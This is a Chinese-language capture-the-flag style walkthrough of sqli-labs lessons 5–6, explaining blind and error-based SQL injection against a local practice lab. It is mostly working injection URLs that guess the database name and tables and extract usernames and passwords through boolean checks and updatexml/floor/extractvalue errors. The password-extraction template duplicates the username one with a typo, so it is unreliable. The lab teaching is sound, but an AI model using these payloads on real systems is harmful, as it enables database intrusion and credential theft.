sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注

       

目录

Less-5

Less-6


 何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显
到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注可以分为三类:
        •基于布尔 SQL 盲注
        •基于时间的 SQL 盲注
        •基于报错的 SQL 盲注

关于注入的基础知识可以参考此篇文章:SQL盲注的简单分析 - linuxsec - 博客园。

Less-5

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第1张图片

源码片段:

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第2张图片

从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了,所以我们不能利用上述less1-4的方法 。

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第3张图片

说明把1'带入了数据库进行了查询,存在sql注入。 

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第4张图片

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第5张图片

 此处需要用报错注入。

方法1:

 1.判断数据库长度:

输入http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=7--+时,报错:

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第6张图片

 输入http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=8--+时,返回正常:

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第7张图片

 因此可以判断出数据库的长度为8.

2.判断数据库名:

需要从第一位开始猜:

输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),1)>'a'--+时,返回正常:

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第8张图片

输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),1)<'z'--+时,返回正常: sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第9张图片

 当判断到s时,输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),1)='s'--+时,返回正常:

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第10张图片

 可以推测出数据库名的第一个字母为s;

然后用同样的方法猜第二位:

输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),2)>'sa'--+时,返回正常:

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第11张图片

 当输入http://127.0.0.1/sqli/Less-5/?id=1' and left(database(),2)='se'--+时,返回正常:

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第12张图片

 可以判断出数据名的前两个字符是se,对于这种报错注入没有什么好的办法,只能慢慢的一次一次的尝试,或是使用二分法对其进行测试,最终测试出数据库名为:security

3.判断数据库中的表名:

输入http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n--+

a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数,利用这种方法可以判断出数据库中的所有表名,然后可以找到最有用的user表。

4.猜用户:

输入http://127.0.0.1/sqli/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from S. M order by  id  limit A,1),B,1))=N--+

其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。

5.猜密码:

输入http://127.0.0.1/sqli/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N --+

其中S 为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。

由此便可以猜解出所有的信息。

方法2

也可以通过直接报错来获取想要的信息:

        报错注入的概念:
        (1). 通过floor报错 and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) 其中payload为你要插入的SQL语句 需要注意的是该语句将 输出字符长度限制为64个字符;
        (2). 通过updatexml报错 and updatexml(1, payload,1)同样该语句对输出的字符长度也做了限制,其最长输出32位并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;

        (3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。

1.获取库名:

http://127.0.0.1/sqli/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第13张图片

 2.爆表名:

http://127.0.0.1/sqli/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第14张图片

3.爆用户名:

http://127.0.0.1/sqli/Less-5/?id=1' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第15张图片

4.爆密码:

 http://127.0.0.1/sqli/Less-5/?id=1'  union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注_第16张图片

Less-6

Less-6 和第5关一样 只不过将单引号换成了双引号,因此可以参考第五关。

你可能感兴趣的:(sqli-lab靶场,web安全,安全,sql)